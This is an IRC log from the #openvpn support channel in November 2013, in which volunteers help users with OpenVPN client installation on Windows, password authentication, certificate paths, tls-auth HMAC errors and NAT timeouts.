22:04 <+pekster> Both the GPJL and "corporate" products can be found there
22:04 <+pekster> stones__: This link may help clear things up for you: https://forums.openvpn.net/post34969.html#p34969
22:04 <@vpnHelper> Title: OpenVPN Support Forum Multiple clients, the purpose is? : Off Topic, Related (at forums.openvpn.net)
22:05 < stones__> " "OpenVPN-GUI" and can be found in the .\bin\ subdirectory of the installation path"
22:05 < stones__> Im on Windows 7 connecting to my linux openvpn server
22:05 <+pekster> Yes, OpenVPN runs on Windows, Linux, Unix, MacOS, and some lesser OSes too
22:06 <@krzee> !qnx
22:06 <@vpnHelper> "qnx" is http://ovpnforum.com/viewtopic.php?f=4&t=2449 for the qnx6 port of openvpn
22:06 <@krzee> for example :D
22:06 < stones__> OpenVPN Client Windows
22:06 < stones__> thats what I need right
22:07 < stones__> http://sourceforge.net/projects/securepoint/files/
22:07 <@vpnHelper> Title: OpenVPN Client Windows - Browse Files at SourceForge.net (at sourceforge.net)
22:07 <@krzee> no
22:07 <@krzee> !download
22:07 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of
22:07 <@vpnHelper> openvpn (only thing supported here) there is no separate download for client/server, it is the same install with different configs
22:08 < stones__> what happened to download.com? why are they including malware now
22:08 <@krzee> ask them
22:08 < stones__> i remember they were a pretty reputable company a couple years ago? thats weird
22:08 < stones__> lol
22:08 <@krzee> !forget qnx
22:08 <@vpnHelper> Joo got it.
22:08 <@krzee> !learn qnx as https://forums.openvpn.net/topic2449.html for the qnx6 port of openvpn
22:08 <@vpnHelper> Joo got it.
22:10 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit []
22:11 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
22:12 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:12 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:12 -!- AginLap [~AginLap@109.201.154.182] has quit [Quit: Leaving]
22:14 < stones__> Ok when installing the windows installer shoudl I leave everything selected?
22:15 -!- rob0_ is now known as rob0
22:17 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:18 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:18 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:18 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:19 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
22:22 < stones__> "ERROR CREATING HKLM//SOFTWARE/OpenVPN-GUI key"
22:22 < stones__> did I do someting wrong?
22:23 < stones__> may have to run as admin?
22:24 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:24 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:24 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:25 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:30 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:30 < stones__> ok much better i read your link pekster ;)
22:30 < stones__> explains everything
22:30 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:31 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:31 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:33 <+pekster> stones__: Ah, right. yea, the run as admin thing is annoying, but adding routes (which is normally required to do anything useful with openvpn) needs admin or root access
22:33 <+pekster> fwiw, I've just got some development code patch in progress to automatically elevate to UAC without needing to do it manually. If you're eagar to try it out without waiting for an official release, I have early-previews here:
22:33 <+pekster> !previews
22:33 <@vpnHelper> "previews" is Unofficial bleeding-edge feature previews for Windows can be found at this project page: https://bitbucket.org/QueuingKoala/openvpn-previews/wiki
22:35 < stones__> so pekster i copied the config file to config folder
22:35 < stones__> it says connecting in the GUI and then fails... doesn't prompt for a password?
22:35 < stones__> will check that out
22:36 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:37 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:37 <+pekster> stones__: What is your client config? The GUI will only prompt for a password if you have an encrypted private key or require a user/pass for auth credentials. See:
22:37 < stones__> its looking for ca.crt?
22:37 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:37 <+pekster> !userauth
22:37 <+pekster> !authuser
22:37 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:37 <+pekster> !factoids search auth
22:37 <@vpnHelper> 'authpass', 'tls-auth', and 'googleauth'
22:37 < stones__> pekster remember i am not using certs.. just PAM auth
22:37 <+pekster> !authpass
22:37 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
22:37 <+pekster> Okay, so you need --auth-user-pass in your client config
22:37 < stones__> well its specified in my config file, remember?
22:38 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:38 -!- nofks [~nofks@199.21.149.182] has joined #openvpn
22:38 < stones__> auth-user-pass
22:38 < stones__> this is in my config
22:38 <+pekster> Can you paste your current client config somewhere?
22:38 < stones__> this is the same config i was using with the paid version
22:39 < stones__> http://pastebin.com/5MXLtDwi
22:39 < nofks> is there a way to put the actual user and pass in the openvpn config? I am trying to make an OpenVPN-connect iphone config profile. To do an On-demand VPN setup.
22:40 <+pekster> stones__: Looks fine; when you launch openvpn on that config it should prompt for a user/password. You're launching the GUI-menu and trying to start that config?
22:41 <+pekster> nofks: The Connect app should have some "config importer" -- AFAIK there's no way to put the user/pass _in_ the acutal config, no, but we don't support "Connect" here
22:41 < stones__> pekster yep
22:41 < nofks> pekster: thank you!
22:41 <+pekster> Maybe some "keychain" support in iOS lets you save credentials nofks, but you'd need to ask the commercial company respnosible for Connect for details/support
22:41 <+pekster> See also:
22:41 <+pekster> !ios
22:41 <+pekster> !iphone
22:41 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
22:41 <+pekster> #3
22:42 <+pekster> stones__: And you get _nothing_ in the connection window?
22:42 < stones__> let me run it again
22:42 < stones__> i know it said something about the ca file
22:42 < nofks> pekster thanks again
22:42 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:42 < stones__> no just pops up saying "connect to server failed"
22:43 < stones__> Options error: --ca fails with 'ca.crt': No such file or directory
22:43 < stones__> Options error: Please correct these errors.
22:43 < stones__> Use --help for more information.
22:43 < stones__> this is in the logs
22:43 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:43 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:44 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:44 < stones__> oh wait a second
22:44 -!- nutcase is now known as TROLLHUNTER
22:44 < stones__> the certs are supposed to be in that folder as well?
22:45 -!- TROLLHUNTER is now known as nutcase
22:45 <+pekster> stones__: Either use --cd to define the reference dir if you use relative paths, or use absolute paths
22:46 < stones__> got it pekster ;)
22:46 <+pekster> Remember to quote your paths with spaces in them, and double-escape your backslashes
22:46 < stones__> didnt realize it was missing the ca
22:46 < stones__> is it also possible to have all this run automatically?
22:46 < stones__> yep
22:47 <+pekster> Automatically how? You can run without prompting for user/pass, but the drawback is you need to reference a plaintext file with the credentials. Read --auth-user-pass in the manpage for details
22:47 < stones__> will do
22:47 < stones__> so with this software i can install it on unlimited machines?
22:48 < stones__> with the paid one what is the limit as far as how many clients you can use to connect to 1 server?
22:48 <+pekster> Yes, OpenVPN is available under a GPLv2 license, which allows you to install/use it on as many systems as you want
22:48 < stones__> is that how they manage the licensing?
22:48 <+pekster> !as
22:48 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
22:48 <+pekster> Go as them what their policy is
22:48 <+pekster> As I understand it's a per-seat license based on concurrent client connectoins
22:48 <+pekster> But I really don't care what they do
22:49 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:49 < stones__> so wait a second its a paid version for both the server side and the client side?
22:49 < stones__> or is it all the same software on the server side?
22:49 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:49 < stones__> also perkster do you know how i would do reverse routing? so when i am at my office i can also access my home network? (the openvpn server is at the office)
22:50 <+pekster> That's in !clientlan
22:50 <+pekster> (the opposite of !serverlan)
22:50 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:50 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
22:55 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:55 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
22:56 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
22:57 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:01 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:01 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
23:03 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:03 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
23:03 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:07 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:08 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
23:09 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:10 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:10 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 265 seconds]
23:14 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:14 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
23:16 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:16 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:17 -!- fred`` [fred@earthli.ng] has joined #openvpn
23:17 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
23:17 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Max SendQ exceeded]
23:18 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
23:20 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:20 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
23:22 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:23 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
23:23 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:23 -!- fred`` [fred@earthli.ng] has joined #openvpn
23:26 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:27 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:27 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
23:29 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:30 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:31 -!- nofks [~nofks@199.21.149.182] has quit [Remote host closed the connection]
23:32 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:33 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
23:36 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:36 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
23:39 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
23:39 -!- Corey_ [~Corey@freenode/staff/corey] has quit [Client Quit]
23:40 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
23:43 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:44 -!- piece3 [~quassel@14.161.15.21] has quit [Ping timeout: 246 seconds]
23:59 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
--- Day changed Fri Nov 15 2013
00:16 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
00:32 -!- stones__ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has quit [Ping timeout: 246 seconds]
00:49 < pwrcycle> after authenticating, my server doesn't respond to any of my client's traffic here's the configs. any suggestions on what i'm missing: http://pastebin.com/Ccj6EsUq
00:51 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 268 seconds]
00:59 < pppingme> pwrcycle after a client connects, can it ping 10.42.0.1
01:00 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 244 seconds]
01:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:00 < pwrcycle> pppingme: i finally got it.  changed SNAT from venet0:00 to venet0  Requests were then routed out and responded to.
01:07 -!- gekko_ [~jjk@dev.pro-it.dk] has joined #openvpn
01:08 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 260 seconds]
01:13 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 272 seconds]
01:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:13 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
01:14 -!- shuggans [~shuggans@108.92.103.8] has quit [Ping timeout: 260 seconds]
01:17 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:24 -!- XPMUser [~XPMUser@115.114.129.115] has joined #openvpn
01:24 < XPMUser> hi
01:26 < XPMUser> I have configured openvpn both on the server side and client side. I am able to get the virtual ip even on the client but i could not ping any of the private addresses .. I could not make it working. Can any one help on this please
01:28 < XPMUser> ?
01:30 < XPMUser> you want me put in any logs?
01:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:37 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
01:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
01:50 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
01:51 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:52 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has quit [Read error: Operation timed out]
01:54 -!- alexxtasi [~alex@150.140.12.90] has joined #openvpn
01:58 < XPMUser> ?>
01:58 -!- XPMUser [~XPMUser@115.114.129.115] has quit [Quit: Leaving]
01:59 -!- XPMUser [~XPMUser@115.114.129.115] has joined #openvpn
01:59 < XPMUser> hi .. can anyone solve my problem?
02:15 -!- thumbs [~frank@unaffiliated/thumbs] has quit [Ping timeout: 248 seconds]
02:20 -!- alexxtasi [~alex@150.140.12.90] has left #openvpn []
02:20 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:29 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:45 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
02:48 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has quit [Quit: ZNC - http://znc.in]
02:51 < calcifea> !permissions
03:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
03:33 -!- XPMUser [~XPMUser@115.114.129.115] has quit [Quit: Leaving]
03:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:43 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:55 -!- JSharpe [~JSharpe@50.23.115.105] has joined #openvpn
03:57 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Ping timeout: 252 seconds]
04:00 -!- jchia [~jchia@180.157.66.70] has joined #openvpn
04:00 -!- JSharpe_ [~JSharpe@50.23.115.105] has joined #openvpn
04:00 -!- JSharpe [~JSharpe@50.23.115.105] has quit [Read error: Connection reset by peer]
04:03 < jchia> I'm running an OpenVPN server on a non-standard port number with UDP. I often get logs like this for unknown IP addresses: TLS Error: cannot locate HMAC in incoming packet from [AF_INET]115.204.89.248:47044. Is this a sign that someone is observing the packets from my client to my server and trying to connect to the server on the non-standard port?
04:10 <@krzee> yes and no
04:10 <@krzee> it means something sent packets to you there
04:11 <@krzee> it does not necessarily mean someone observed anything
04:18 < jchia> @krzee: even if it's very often?
04:19 < jchia> @krzee: it's a non-standard port, so i would think random attempts would be less often
04:19 < jchia> @krzee: not talking about absolute certainty, just probability
04:20 < jchia> @krzee: how would they know there's a VPN server on that non-standard port?
04:22 <@krzee> why do you assume they know its a vpn server?
04:22 <@krzee> a packet arrived without hmac sig, that is all openvpn is telling you
04:23 <@krzee> capture those packets to see what they really are if you want
04:29 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
04:33 < jchia> @krzee: Does the  UDP packet need to be properly-formatted for OpenVPN to get to the point where the  server looks for the HMAC and logs that error?
04:33 <@krzee> no
04:33 < jchia> @krzee: I C
04:33 <@krzee> !hmac
04:33 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make
04:33 <@vpnHelper> the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
04:34 <@krzee> if it does not have the hmac sig, NO processing is done to see if it is an openvpn packet
04:34 <@krzee> that is the point.
04:34 < jchia> @krzee: got it
04:40 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
05:16 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
05:20 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-kbsbmoszvucqbcjx] has joined #openvpn
05:32 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
05:38 -!- Hes [bmg5Tt@tunkki.fi] has joined #openvpn
05:38 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
05:39 -!- heraclitus [~halcyon@ip-static-94-242-252-198.as5577.net] has joined #openvpn
05:39 -!- heraclitus [~halcyon@ip-static-94-242-252-198.as5577.net] has quit [Changing host]
05:39 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
05:45 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
05:46 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
05:49 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
05:58 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
06:04 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
06:07 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
06:15 -!- jchia [~jchia@180.157.66.70] has quit [Ping timeout: 268 seconds]
06:15 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
06:24 < Hes> Guys & gals, I have some trouble getting 'float' to work. A client behind a nat device, UDP openvpn, if there's no traffic in > 60 seconds, NAT times out, and the VPN is then stuck. The openvpn server ignores incoming packets with the wrong source UDP port.
06:25 < Hes> Could set keepalive to a very quick time to keep the NAT mapping alive, but that consumes a lot of battery, and wouldn't help to the case where the client switches to another NAT device and different source IP address.
06:25 < Hes> duplicate-cn is disabled, float enabled, persist-key persist-tun and persist-remote ip enabled
06:25 < Hes> Suggestions?
06:27 -!- Gman32 [~Gman32@ks397092.ip-192-95-27.net] has quit [Remote host closed the connection]
06:28 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
06:36 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
06:42 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:45 -!- Denial [Denial@2.223.161.125] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:49 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
06:57 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
07:00 -!- u0m3_ is now known as u0m3
07:03 -!- lnb [~lnb@99.238.98.9] has joined #openvpn
07:04 < lnb> sip phone has 3 accounts (3 lines), 2 lines currently go to 1 openvpn server. 3rd line needs to go to another openvpn server. How to get this working?
07:05 < lnb> i dont suppose in client.conf i can add second server xxx.xxx.xxx.xxx 1194
07:10 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
07:11 < Hes> lnb: I guess you'll need a second openvpn client running at the same time
07:11 < Hes> which should be fine, as long as they don't set up conflicting routes
07:11 < ZeK__> How do you make a copy of an ember array ??
07:12 < Hes> Regarding my question before, it seems like the server ignores packets from the client when the source port changes. I upped the debug log level, and got this:
07:12 < ZeK__> Wrong channel my bad
07:12 < Hes> TLS State Error: No TLS state for client [AF_INET]85.188.35.46:58469, opcode=6
07:14 < lnb> Hes: the sip phone cannot take it.
07:14 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
07:15 < lnb> Hes: the sip phone takes a .tar file with vpn.cnf keys/ca.crt/client.crt/client.key and thats it
07:16 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Client Quit]
07:16 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
07:16 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
07:17 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 264 seconds]
07:18 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
07:19 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
07:19 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
07:20 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
07:27 -!- jchia [~jchia@180.157.66.70] has joined #openvpn
07:29 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:31 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
07:33 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Quit: Headin Out...]
07:39 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
07:45 -!- Fetch_ is now known as Fetch
07:47 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
07:47 -!- mode/#openvpn [+o debbie10t] by ChanServ
07:49 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has quit [Ping timeout: 252 seconds]
07:51 -!- jchia [~jchia@180.157.66.70] has quit [Ping timeout: 265 seconds]
07:51 <@debbie10t> hi, i am trying to find a doc about creating certs without excanging security files written by janjust (i think) i thought i had it bookmarked but just cannot find it
07:52 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
07:53 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
07:53 -!- michaelhart_ [~michaelha@192-0-240-20.cpe.teksavvy.com] has joined #openvpn
07:53 -!- michaelhart_ [~michaelha@192-0-240-20.cpe.teksavvy.com] has quit [Client Quit]
07:55 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has joined #openvpn
07:56 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 246 seconds]
07:58 <@debbie10t> ok - found it
07:58 <@debbie10t> !pki
07:58 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the
07:58 <@vpnHelper> server cert was signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
07:59 -!- jchia [~jchia@180.157.66.70] has joined #openvpn
08:00 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
08:03 -!- jchia [~jchia@180.157.66.70] has quit [Ping timeout: 246 seconds]
08:13 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
08:18 -!- stemid [~avatar@ns4.sydit.se] has left #openvpn []
08:20 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has quit [Ping timeout: 252 seconds]
08:21 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
08:25 -!- jchia [~jchia@180.157.66.70] has joined #openvpn
08:26 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has joined #openvpn
08:27 -!- spiekey [~mario@projekte.imos.net] has joined #openvpn
08:30 -!- jchia [~jchia@180.157.66.70] has quit [Client Quit]
08:30 -!- jchia [~jchia@180.157.66.70] has joined #openvpn
08:53 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
08:58 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:02 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
09:03 -!- jchia [~jchia@180.157.66.70] has quit [Remote host closed the connection]
09:06 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:12 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
09:12 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
09:13 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:14 -!- spiekey [~mario@projekte.imos.net] has quit [Quit: Verlassend]
09:28 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:28 -!- caelian` [~caelian@ovh.caelian.net] has quit [Quit: RUN FOR YOUR LIVES!]
09:34 -!- Dasoren [~Dasoren@2001:470:e0b8:11:fcc2:a8bf:f25e:7f45] has quit [Remote host closed the connection]
09:36 -!- mattock_afk is now known as mattock
09:38 -!- dazo_afk is now known as dazo
09:41 -!- Sconk [~krh@srv.jtw.dk] has joined #openvpn
09:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:53 -!- sobhan [~sobhan@5.175.135.208] has joined #openvpn
09:53 < sobhan> is there any way i can use openvpn without the tun module ?
09:55 <+pekster> No.
09:55 <+pekster> You were told that in very clear terms in another channel; the answer doesn't change because you came here.
09:55 <+pekster> !openvz
09:55 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
10:06 -!- michaelhart [~michaelha@192-0-240-20.cpe.teksavvy.com] has joined #openvpn
10:31 -!- linuxthefish [~linuxthef@185.17.148.101] has joined #openvpn
10:32 < linuxthefish> hi, why do i get DNS errors when trying to use VPN on one machine only?
10:32 < linuxthefish> other machines work fine using same config...
10:38 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
10:40 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
10:44 -!- ZeK__ [~umeda@109.237.241.5] has quit [Quit: Leaving]
11:00 -!- sobhan [~sobhan@5.175.135.208] has quit [Ping timeout: 252 seconds]
11:06 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:26 -!- mattock is now known as mattock_afk
